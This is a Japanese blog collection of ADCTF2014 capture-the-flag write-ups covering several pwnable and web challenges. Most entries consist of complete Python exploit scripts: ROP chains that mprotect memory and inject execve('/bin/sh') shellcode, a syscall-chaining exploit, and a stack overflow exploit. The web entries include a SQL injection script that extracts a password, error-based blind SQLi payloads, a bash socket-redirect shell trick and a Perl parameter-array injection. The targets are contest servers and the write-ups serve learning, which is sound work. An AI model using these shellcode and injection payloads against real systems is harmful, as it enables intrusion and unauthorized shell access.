ADCTF2014 [23] shellcodeme
解いた後の、まさかのstage2みたいなのってつらい
Can you execute shellcode? Really? shellcodeme.c shellcodemenc pwnable.katsudon.org 33201
この問題は、同じコードから生成されたと思われる3つのバイナリをpwnします。
一つは32bit、もう一つは64bitのバイナリです。
長いので、先にコード載せておきます exploit_shellcodeme.py
#!/usr/bin/env python from struct import * import sys import socket rhp = ("pwnable.katsudon.org",33201) nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) nc.settimeout(0.5) nc.connect(rhp) print 'Connect to %s:%d' % rhp #==========Stage1==========# def stage1(nc): print 'Stage1' addr_ret = 0x080484fd addr_pop_0xc = 0x08048312 addr_mprotect = 0x08048330 addr_read = 0x08048340 addr_mem_exec = 0x20000000 stdin = 0x0 length = 0x400 exploit = pack("<I", addr_ret) exploit += "\x00"*0xc exploit += pack("<I", addr_mprotect) exploit += pack("<I", addr_pop_0xc) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", length) exploit += pack("<I", 0x7) exploit += pack("<I", addr_read) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", stdin) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", length) payload = "\x31\xc0" #xor %eax,%eax payload += "\xb0\x0b" #mov 0x0b,%al payload += "\x68\x2f\x2f\x73\x68" #push 0x68732f2f payload += "\x68\x2f\x62\x69\x6e" #push 0x6e69622f payload += "\x89\xe3" #mov %esp,%ebx payload += "\x31\xc9" #xor %ecx,%ecx payload += "\x31\xd2" #xor %edx,%edx payload += "\xcd\x80" #int 0x80 print 'Send exploit...' nc.sendall(exploit) print 'Send payload...' nc.sendall(payload) #==========Stage2==========# def stage2(nc): print 'Stage2' addr_ret = 0x0040062c addr_pop_rsi_1 = 0x00400691 addr_pop_rdi = 0x00400693 addr_pop_1 = 0x00400692 addr_mov_rdx = 0x00400670 #mov r13,rdx mov %r14,%rsi #mov %r15d,%edi callq *(%r12,%rbx,8) addr_pop_6 = 0x0040068a #pop rbx,rbp,r12,r13,r14,r15 addr_mprotect = 0x004004c0 addr_read = 0x00400490 addr_mem_exec = 0x20000000 addr_buf = 0x00601100 stdin = 0x0 length = 0x400 exploit = pack("<Q", addr_ret) exploit += "\x00"*0x8 exploit += pack("<Q", addr_pop_rdi) exploit += pack("<Q", stdin) exploit += pack("<Q", addr_pop_rsi_1) exploit += pack("<Q", addr_buf) exploit += pack("<Q", 0xdeadbeef) exploit += pack("<Q", addr_read) exploit += pack("<Q", addr_pop_6) exploit += pack("<Q", 0x0) exploit += pack("<Q", 0x0) exploit += pack("<Q", addr_buf) exploit += pack("<Q", 0x7) exploit += pack("<Q", length) exploit += pack("<Q", addr_mem_exec) exploit += pack("<Q", addr_mov_rdx) exploit += pack("<Q", addr_mprotect) exploit += pack("<Q", addr_pop_6) exploit += pack("<Q", 0x0) exploit += pack("<Q", 0x0) exploit += pack("<Q", addr_buf) exploit += pack("<Q", length) exploit += pack("<Q", addr_mem_exec) exploit += pack("<Q", stdin) exploit += pack("<Q", addr_mov_rdx) exploit += pack("<Q", addr_read) exploit += pack("<Q", addr_mem_exec) payload = "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" #movabs '/bin/sh',%rbx payload += "\x53" #push %rbx payload += "\x48\x89\xe7" #mov %rsp,%rdi payload += "\x48\x31\xf6" #xor %rsi,%rsi payload += "\x48\x31\xd2" #xor %rdx,%rdx payload += "\x48\x31\xc0" #xor %rax,%rax payload += "\xb0\x3b" #mov 0x3b,%al payload += "\x0f\x05" #syscall nc.sendall('./shellcodeme2\x0a') nc.sendall(exploit) nc.sendall(pack("<Q", addr_pop_1)) nc.sendall(payload) stage1(nc) stage2(nc) 続く
まずは32bitのStage1から
そもそもこのプログラムは、readする際に
read(0, &buf, SHELLCODE_LEN);
としていることから、確保した0x20000000ではなく、char*型のbufが格納された場所に書き込んでしまっている
そのため、
(*(void(*)()) buf)()
の際に、書き込んだ始めの4byteのアドレスに制御が飛ぶようになっている
しかしespのずれを考えるのが面倒だったため、即座にretをして通常のスタックオーバーフローの問題のように扱うこととした。
exploit = pack("<I", addr_ret) exploit += "\x00"*0xc exploit += pack("<I", addr_mprotect) exploit += pack("<I", addr_pop_0xc) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", length) exploit += pack("<I", 0x7) exploit += pack("<I", addr_read) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", stdin) exploit += pack("<I", addr_mem_exec) exploit += pack("<I", length)
mprotectで0x20000000のパーミッションをrwxとし、そこにシェルコードを書きこむ
次にreadができるように、add 0xc,$espを忘れずに
readで0x20000000にシェルコードを書きこんだら、そこに制御を飛ばせばStage1は終了。
シェルコードの説明はいつも通りなので割愛
次に64bitのStage2である。
64bitでのsyscallでは、引数を順に$edi,$esi,$edx...の順に格納しておかなければならない。
$rdiと$rsiはROP gadgetを用いて容易に格納できるが、$edxはそう簡単にはいかないようである。
使えるのは
40068a: 5b pop %rbx 40068b: 5d pop %rbp 40068c: 41 5c pop %r12 40068e: 41 5d pop %r13 400690: 41 5e pop %r14 400692: 41 5f pop %r15 400694: c3 retq
でpopしてから、
400670: 4c 89 ea mov %r13,%rdx 400673: 4c 89 f6 mov %r14,%rsi 400676: 44 89 ff mov %r15d,%edi 400679: 41 ff 14 dc callq *(%r12,%rbx,8)
でmovしてやれば良いと考えられる。
ちなみに、同時に$rsiと$ediへの格納も行える。
exploit = pack("<Q", addr_ret) exploit += "\x00"*0x8 exploit += pack("<Q", addr_pop_rdi) exploit += pack("<Q", stdin) exploit += pack("<Q", addr_pop_rsi_1) exploit += pack("<Q", addr_buf) exploit += pack("<Q", 0xdeadbeef) exploit += pack("<Q", addr_read)
まずは先程と同じように最初にretします。
$rdiにstdinの0、$rsiに適当な書き込み可能なバッファアドレスを指定してread
nc.sendall(pack("<Q", addr_pop_1))
ここで、1回popするROPgadgetのアドレスを格納させます。これは後ほど重要になってきます。
次に$rbx,$rbp,$r12,$r13,$r14,$r15の順で値を格納し、それを目的のレジスタにmovします。
exploit += pack("<Q", addr_pop_6) exploit += pack("<Q", 0x0) exploit += pack("<Q", 0x0) exploit += pack("<Q", addr_buf) exploit += pack("<Q", 0x7) exploit += pack("<Q", length) exploit += pack("<Q", addr_mem_exec) exploit += pack("<Q", addr_mov_rdx) exploit += pack("<Q", addr_mprotect)
しかし、この後はretではなくcallq *(%r12,%rbx,8)です。
なので、$r12は先程のバッファアドレス、$rbxは0にすることで、call addr_pop_1+0*8となります。
これの命令は実質ret命令と同じです。
そして、$rdi=0x20000000,$rsi=length,$rdx=0x7の状態でmprotectが呼ばれ、読み込み書き込み実行が可能となります。
あとは先程同様に値を格納して、今度はreadでシェルコードを読み込みます。
exploit += pack("<Q", addr_pop_6) exploit += pack("<Q", 0x0) exploit += pack("<Q", 0x0) exploit += pack("<Q", addr_buf) exploit += pack("<Q", length) exploit += pack("<Q", addr_mem_exec) exploit += pack("<Q", stdin) exploit += pack("<Q", addr_mov_rdx) exploit += pack("<Q", addr_read) exploit += pack("<Q", addr_mem_exec)
最後にそのシェルコードに制御を飛ばして完了です。
面倒なので、シェルコードの説明は同じく割愛。
あー長かったwww
FLAG: ADCTF_I_l0v3_tH15_4W350M3_m15T4K3
ADCTF2014 [21] otp
これ、ずいぶん簡単だったと思うんだけど、なんでこんなに点数高いのか
Try your sqli skills. otp.adctf2014.katsudon.org source
まあこれもSQLinjectionですね
twitterを見てると、最初は問題に本気で脆弱性があったらしく、Sqliteとかにすれば行けたとかいう話が
でもまぁ、私が開いたときにはすでにサーバーが停止してて、修正された後だったので関係ないですw
今回の問題では、sqliteが禁句となっている。即ちsqlite_masterから読みださせることは考えていないってことですよね?
それならば方針はwith文かな
select (with tmp(token,pass,expire) as (select * from otp) select pass from tmp where token = '%s')
こんな感じでカラム名が分かっていなくても、カラム数さえ合っていれば適当に名づけてselectできます。
import urllib,urllib2 URI = 'http://otp.adctf2014.katsudon.org/' def communicate(values): if(values is not None): data = urllib.urlencode(values) req = urllib2.Request(URI,data) else: req = urllib2.Request(URI) res = urllib2.urlopen(req) return res.read().split('\n') if __name__ == '__main__': token = communicate(None)[22].split('"')[5] print 'token : %s' % token query = "' union all select (with tmp(token,pass,expire) as (select * from otp) select pass from tmp where token = '%s')--" % token values = {'token' : query} passwd = communicate(values)[21].split(' ')[3][:-4] print 'pass : %s' % passwd values = {'token' : token, 'pass' : passwd} for s in communicate(values)[21][3:-4].split('<br />'): print s raw_input('Press any key to exit...')
トークンが分かっているのでそのパスワードを引き出し、最初から10秒以内にトークンとパスワードを投げればフラグがもらえます。
FLAG: ADCTF_all_Y0ur_5CH3ma_ar3_83L0N9_t0_u5
ADCTF2014 [20] easypwn
easy?どこがだよwww
Pwn me! The flag is in/home/easypwn/flag
. ASLR enabled, no libs. easypwnnc pwnable.katsudon.org 28099
pwn系で一番悩みましたw
だって使える要素があまりにも少ないんだもの
まあ今回もASLRは気にしない方針でいきましょ
今回はsyscallなんていう関数があるため、eaxに適切な値を格納して引数をスタックに積めばおk!
08048080 <syscall>: 8048080: 8b 54 24 0c mov 0xc(%esp),%edx 8048084: 8b 4c 24 08 mov 0x8(%esp),%ecx 8048088: 8b 5c 24 04 mov 0x4(%esp),%ebx 804808c: cd 80 int $0x80 804808e: c3 ret
今回書いたexploitはこちら
#!/usr/bin/env python from struct import * import sys import socket rhp = ("pwnable.katsudon.org",28099) sh = "/bin/sh" addr_syscall = 0x08048080 addr_read = 0x080480a9 addr_exit = 0x080480df elf_head = 0x08048000 sys_execve = 0x0b sys_mprotect = 0x7d length = 0x1000 null = 0x0 #========== nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) nc.settimeout(0.5) nc.connect(rhp) exploit_st1 = "\x00"*0x10 exploit_st1 += pack("<I", addr_syscall) exploit_st1 += pack("<I", addr_read-0x2) exploit_st1 += pack("<I", elf_head) exploit_st1 += pack("<I", length) exploit_st1 += pack("<I", 0x7) exploit_st1 += "\x00"*(sys_mprotect-len(exploit_st1)) exploit_st2 = "\x00"*0x10 exploit_st2 += pack("<I", addr_syscall) #$ecx=elf_head exploit_st2 += pack("<I", addr_read) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", elf_head) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", addr_syscall) exploit_st2 += pack("<I", addr_exit) exploit_st2 += pack("<I", elf_head) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", null) nc.sendall(exploit_st1) nc.sendall(exploit_st2) nc.sendall(sh+"\x00"*(sys_execve-len(sh))) 続く
当初の予定ではexploit_st1は要らなかったんですよ
'/bin/sh'をスタック以外の固定された適当なアドレスに配置できれば、そこを参照して終了ですのでね。
そうは問屋が卸さない
方針変更:mmapを使おう
old_mmapしか文献が見当たらない。
構造体が配置できるなら最初っから解決してる
mmap2の存在は知ってても使い方が分からない ⇒ $eax=0xc0だと後に知る
方針変更:mprotectを使おう
$eax=0x7d
$ebx=address
$ecx=length
$edx=permission
これならいける
まずはmprotectするためにexploit_st1を送ります
exploit_st1 = "\x00"*0x10 exploit_st1 += pack("<I", addr_syscall) ※ exploit_st1 += pack("<I", addr_read-0x2) exploit_st1 += pack("<I", elf_head) exploit_st1 += pack("<I", length) exploit_st1 += pack("<I", 0x7) exploit_st1 += "\x00"*(sys_mprotect-len(exploit_st1))
pwn_me関数のリターン先は、※のsyscall関数になります
次のリターン先にはaddr_read-0x2(read前にmov %esp,%ecx を追加)を指定しておきます。
このexploit_st1の長さが、mprotectのシステムコール番号である0x7dになるように調整します。
そうすることでread後に$eaxに読み込んだ長さの0x7dが格納され、mprotectが使えます。
mprotectに与えるアドレスはページ境界でなければならないので、elfのヘッダが読み込まれてる先頭のアドレスを指定します。
これでいけたかな
08048000-08049000 rwxp 00000000 08:01 947049
なんか面白い
はい、では次です
exploit_st2 = "\x00"*0x10 exploit_st2 += pack("<I", addr_syscall) #$ecx=elf_head exploit_st2 += pack("<I", addr_read) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", elf_head) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", addr_syscall) exploit_st2 += pack("<I", addr_exit) exploit_st2 += pack("<I", elf_head) exploit_st2 += pack("<I", null) exploit_st2 += pack("<I", null)
最初のsyscallは$ecxにelf_headを格納するためだけに使っています。
なんだかもっとスマートにできる気がががg
そののちreadで"/bin/sh"+"\x00"*(sys_execve-len(sh))をelfのヘッダ部に読み込んで、$eaxにはexecveの0x0bが格納されます。
2回目のsyscallでexecveが呼ばれてbashが起動します。
リターン先を_startのexitに飛ばして終了です。 exploit_easypwn.py
FLAG: ADCTF_175_345y_7o_cON7ROL_5Y5c4LL
ADCTF2014 [17] oh my scanf
遂に来ましたPwnable!
This is my first program. oh_my_scanf.c oh_my_scanfnc pwnable.katsudon.org 32100
今回は典型的なスタックオーバーフローの問題ですね。
ASLRが有効らしいけど、俺はそんなの気にしない(的なこと言えたらかっこいいw)
まずプロセスマップを除いてみると、
0804a000-0804b000 rwxp 00001000 08:01 945933
うん、確実にここにシェルコード書き込めって言ってるよね、これ
そんなわけで、Exploit
from struct import * import sys import socket rhp = ("pwnable.katsudon.org",32100) sh = "/bin/sh\x00" offset_name = 0x00020060 offset_retn = 0x0002007c addr_format = 0x080485c7 addr_scanf = 0x08048506 addr_buffer = 0x0804a100 #========== nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) nc.settimeout(1.0) nc.connect(rhp) exploit = "\x00"*(offset_retn-offset_name-4) exploit += pack("<I", addr_buffer) #$ebp=addr_buffer exploit += pack("<I", addr_scanf) exploit += pack("<I", addr_format) exploit += pack("<I", addr_buffer) nc.sendall(exploit+"\x0a") nc.recv(1024) payload = pack("<I", 0xdeadbeef) payload += pack("<I", addr_buffer+0x10) #exec_addr payload += sh payload += "\x00"*(0x10-len(payload)) payload += "\x31\xc0" #xor %eax,%eax payload += "\x04\x0f" #add 0x0f,%al payload += "\x34\x04" #xor 0x04,%eal payload += "\x89\xe3" #mov %esp,%ebx payload += "\x31\xc9" #xor %ecx,%ecx payload += "\x31\xd2" #xor %edx,%edx payload += "\xcd\x80" #int 0x80 nc.sendall(payload+"\x0a") nc.recv(1024) 続く
説明しますね
exploit = "\x00"*(offset_retn-offset_name-4) exploit += pack("<I", addr_buffer) #$ebp=addr_buffer exploit += pack("<I", addr_scanf) ※ exploit += pack("<I", addr_format) exploit += pack("<I", addr_buffer)
※のついているところがmain関数のret命令時にリターンする先です。
その前のアドレスは、leave命令でebpに格納する値です。
scanfで次のpayloadを読み込んで、実行可能な0x0804a100以降にシェルコードを書きこみます。
payload = pack("<I", 0xdeadbeef) payload += pack("<I", addr_buffer+0x10) #exec_addr payload += sh payload += "\x00"*(0x10-len(payload)) payload += "\x31\xc0" #xor %eax,%eax payload += "\x04\x0f" #add 0x0f,%al payload += "\x34\x04" #xor 0x04,%eal payload += "\x89\xe3" #mov %esp,%ebx payload += "\x31\xc9" #xor %ecx,%ecx payload += "\x31\xd2" #xor %edx,%edx payload += "\xcd\x80" #int 0x80
先頭の0xdeadbeefは、次のleave命令で格納する適当な値です
その先に、シェルコードが落ちているアドレスを格納しておきます。
その直後に’/bin/sh’の文字列がありますが、これにはちゃんと意味があります。
ret命令でシェルコードに制御が飛び、espは4だけ加算されて'/bin/sh'の先頭を指します。
そこでmov %esp,%ebxにより、ちょうどexecveの際のアドレスが指定できるという寸法です
あとのシェル表示はお遊びです。
本当にASLR関係なかったww
FLAG: ADCTF_Sc4NF_IS_PRe77Y_niCE
ADCTF2014 [16] blind shell
Restriction: You can't use any commands. (actually/bin/bash
only) Do not brute force. You don't need to. blind_shellnc pwnable.katsudon.org 44010
今日のは多分シェル芸だろうな
まずはgdbで解析
(gdb) x/128gx 0x400a88 0x400a88: 0x00000000004009c0 0x0000000000400990 0x400a98: 0x0000000000400990 0x00000000004009c9 0x400aa8: 0x00000000004009c9 0x0000000000400990 0x400ab8: 0x00000000004009c9 0x0000000000400990 0x400ac8: 0x0000000000400990 0x0000000000400990 0x400ad8: 0x00000000004009c9 0x0000000000400990 0x400ae8: 0x0000000000400990 0x0000000000400990 0x400af8: 0x0000000000400990 0x0000000000400990 0x400b08: 0x00000000004009c9 0x00000000004009c9 0x400b18: 0x00000000004009c9 0x00000000004009c9 0x400b28: 0x00000000004009c9 0x00000000004009c9 0x400b38: 0x00000000004009c9 0x00000000004009c9 0x400b48: 0x00000000004009c9 0x00000000004009c9 0x400b58: 0x00000000004009c9 0x00000000004009c9 0x400b68: 0x00000000004009c9 0x00000000004009c9 0x400b78: 0x00000000004009c9 0x0000000000400990 0x400b88: 0x00000000004009c9 0x00000000004009c9 0x400b98: 0x00000000004009c9 0x00000000004009c9 0x400ba8: 0x00000000004009c9 0x00000000004009c9 0x400bb8: 0x00000000004009c9 0x00000000004009c9 0x400bc8: 0x00000000004009c9 0x00000000004009c9 0x400bd8: 0x00000000004009c9 0x00000000004009c9 0x400be8: 0x00000000004009c9 0x00000000004009c9 0x400bf8: 0x00000000004009c9 0x00000000004009c9 0x400c08: 0x00000000004009c9 0x00000000004009c9 0x400c18: 0x00000000004009c9 0x00000000004009c9 0x400c28: 0x00000000004009c9 0x00000000004009c9 0x400c38: 0x00000000004009c9 0x00000000004009c9 0x400c48: 0x00000000004009c9 0x00000000004009c9 0x400c58: 0x00000000004009c9 0x0000000000400990 0x400c68: 0x0000000000400990 0x0000000000400990 0x400c78: 0x0000000000400990 0x00000000004009c9 0x400c88: 0x0000000000400990 0x00000000004009c9 0x400c98: 0x00000000004009c9 0x00000000004009c9 0x400ca8: 0x00000000004009c9 0x00000000004009c9 0x400cb8: 0x00000000004009c9 0x00000000004009c9 0x400cc8: 0x00000000004009c9 0x00000000004009c9 0x400cd8: 0x00000000004009c9 0x00000000004009c9 0x400ce8: 0x00000000004009c9 0x00000000004009c9 0x400cf8: 0x00000000004009c9 0x00000000004009c9 0x400d08: 0x00000000004009c9 0x00000000004009c9 0x400d18: 0x00000000004009c9 0x00000000004009c9 0x400d28: 0x00000000004009c9 0x00000000004009c9 0x400d38: 0x00000000004009c9 0x00000000004009c9 0x400d48: 0x00000000004009c9 0x00000000004009c9 0x400d58: 0x00000000004009c9 0x00000000004009c9 0x400d68: 0x00000000004009c9 0x00000000004009c9 0x400d78: 0x0000000000400990
ASCII文字の使用の不可の判断にjmp先のアドレスを指定して使われてるようですね
0x004009c9にjmpならセーフ、0x004009c0は回数限定、0x00400990は即終了
従って、英数字は全て大丈夫として、記号が以下の通りに分類されます。
使用可:#$&*:;<=>@_{|}
一回のみ使用可:SP
使用不可:!"%'()+,-./?[]^_`DEL
さて、これらで何をしようかな
bashの組み込みコマンドは使えるようなので、それらを駆使しようと思います。
まずはこれらを投げます
exec<&4>&4;read cmd;${cmd} /bin/bash
プログラムのソケットのfdは4でしたので入出力を繋げて、環境変数cmdにreadで『/bin/bash』を読み込ませます。
for path in ./*; do echo ${path}; done
ディレクトリ内のファイル一覧を表示させ
cd flag_is_in_dir
ディレクトリを移動後、再びファイル一覧表示
while read line; do echo ${line}; done < this_is_flag
フラグを取得
FLAG: ADCTF_y0u_C4N_533_y0U_c4N_br34tH
ADCTF2014 [14] secret table
またしてもSQLinjectionだ
楽しみだw
Yes, you can do sqli. Find our secret table and get the flag. Sorry, I'm missing source code. secrettable.adctf2014.katsudon.org
またしてもUser-Agentでインジェクションをするらしいな
しかし、今度は表示に変化がない・・・とおもいきや、文法エラーを起こすとServer error
うん、これError Based Blind SQL injectionだな
ここまでわかったものの、どうやってエラーを引き起こそう
どうやらCASE文が使えるらしいぞ
'+(case when (select substr('hoge',1,1)) > 'a' then 1 end)+'
成立すれば200が返ってくるし、ダメなら500だ
そんな感じでやってると、今度はこれはSQLiteということが判明
コードを書きなおしてこれでいこう
そんで、これが得られました
CREATE TABLE super_secret_flag__Ds7KLcV9 yo_yo_you_are_enjoying_blind_sqli TEXT
よし、もっかい
やったね
FLAG: ADCTF_ERR0r_hELP5_8L1nd_5Ql1
ADCTF2014 [13] loginpage
ログインページだー
You can't guess LOGINPAGE_SECRET absolutely, it's not answer. So, maybe there are some vulnerability and you got an admin and flag. I wrote this web app on Oct. 28 2014. Perl is awesome language and I love it :) loginpage.adctf2014.katsudon.org source
あれ、この問題どっかで見たことあるよ
あ、ちょっと違うけどこれだ
へぇー
同名パラメタでparamメソッドに渡すと配列を受け取れるのね
しかも、ハッシュ生成時に配列を含むと、インジェクションできるとか
脆弱性はloginpage.plの75行目から80行目にあり!
[perl] $self->session->{user} = { name => $self->param('name'), pass => $self->param('pass'), give_me_flag => 0, admin => $is_admin, }; [/perl]
じゃあPOSTでこうしましょ name=ShiftCrops&pass=abcd&pass=admin&pass=1&pass=give_me_flag
[perl] $self->session->{user} = { 'name' =>'ShiftCrops', 'pass' => 'abcd', 'admin' => 1, 'give_me_flag' => 'give_me_flag', '0' => 'admin', $is_admin => , }; [/perl]
FLAG:ADCTF_L0v3ry_p3rl_c0N73x7